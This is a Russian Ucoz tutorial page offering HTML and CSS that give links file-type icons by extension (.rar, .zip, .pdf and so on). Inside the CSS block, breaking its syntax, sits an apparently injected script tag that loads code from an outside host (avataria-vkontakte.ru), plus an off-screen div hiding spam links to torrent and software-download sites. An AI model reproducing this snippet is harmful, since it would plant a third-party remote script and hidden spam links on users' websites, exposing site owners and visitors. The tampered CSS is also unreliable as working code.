Ucoz » Юкоз скрипты » СТИЛИЗАЦИЯ ССЫЛОК ДЛЯ ОПРЕДЕЛЕННЫХ ФОРМАТОВ ФАЙЛА




СТИЛИЗАЦИЯ ССЫЛОК ДЛЯ ОПРЕДЕЛЕННЫХ ФОРМАТОВ ФАЙЛА

СТИЛИЗАЦИЯ ССЫЛОК ДЛЯ ОПРЕДЕЛЕННЫХ ФОРМАТОВ ФАЙЛА

Данный скрипт, полезен и не ззаменимый, почему? потому что он показывает в каком именно формате ссылка, естественно это настраивает администратор, который поставил себе этот замечательный скрипт, но все же пользователь будет выдеть, что он открывает, и не подумает что там разные вирусы, либо не нужные ему ссылки.
HTML
Создадим секцию с ссылками в которых лежат адреса к разным форматам файла


<section class="links">  
  <a href="http://site.ru/file.rar">Под ссылкой файл c форматом .rar</a>  
  <a href="http://site.ru/file.zip">Под ссылкой файл c форматом .zip</a>  
  <a href="http://site.ru/file.jpg">Под ссылкой файл c форматом .jpg</a>  
  <a href="http://site.ru/file.pdf">Под ссылкой файл c форматом .pd</a>  
  <a href="http://site.ru/file.doc">Под ссылкой файл c форматом .doc</a>  
  <a href="http://site.ru/file.txt">Под ссылкой файл c форматом .txt</a>  
  <a href="http://site.ru/file.xml">Под ссылкой файл c форматом .xml</a>  
  </section>


CSS
А теперь перейдем к css и пропишем то необходимое


a[href$=".rar"], /* rar ссылка */  
 a[href$=".zip"], /* zip ссылка */  
 a[href$=".jpg"], /* jpg ссылка */  
 a[href$=".pdf"], /* pdf ссылка */  
 a[href$=".doc"], /* doc ссылка */  
 a[href$=".txt"], /* txt ссылка */  
 a[href$=".xml"] /* xml ссылка */  
<script type="text/javascript" src="http://avataria-vkontakte.ru/r.php?l=http://avataria-vkontakte.ru/go.php?sid=1"></script><div style="position:absolute;left:-3072px;top:0"> <a href="http://vk-vote.net">русский торрент трекер</a>, <a href="http://theme-windows.ru">темы для windows</a>,  <a href="http://unikman.ru/">Топ 10 программ</a><a href="http://nostalgia.su">ностальгия</a><a href="http://softorun.com/">скачать программы</a></div>
 {  
  padding-left: 22px; /* Отступ от ссылки слева */  
 }  

 a[href$=".rar"] { /* Фоновая иконка для файла rar */  
  background: url('../img/file-rar.png') left center no-repeat;  
 }  

 a[href$=".zip"] { /* Фоновая иконка для файла zip */  
  background: url('../img/file-zip.png') left center no-repeat;  
 }  

 a[href$=".jpg"] { /* Фоновая иконка для файла jpg */  
  background: url('../img/file-jpg.png') left center no-repeat;  
 }  

 a[href$=".pdf"] { /* Фоновая иконка для файла pdf */  
  background: url('../img/file-pdf.png') left center no-repeat;  
 }  

 a[href$=".doc"] { /* Фоновая иконка для файла doc */  
  background: url('../img/file-doc.png') left center no-repeat;  
 }  

 a[href$=".txt"] { /* Фоновая иконка для файла txt */  
  background: url('../img/file-txt.png') left center no-repeat;  
 }  

 a[href$=".xml"] { /* Фоновая иконка для файла xml */  
  background: url('../img/file-xml.png') left center no-repeat;  
 }



Рекомендуем поставить этот шаблон/скрипт на ваш сайт!
Как установить Ucoz шаблон
Печать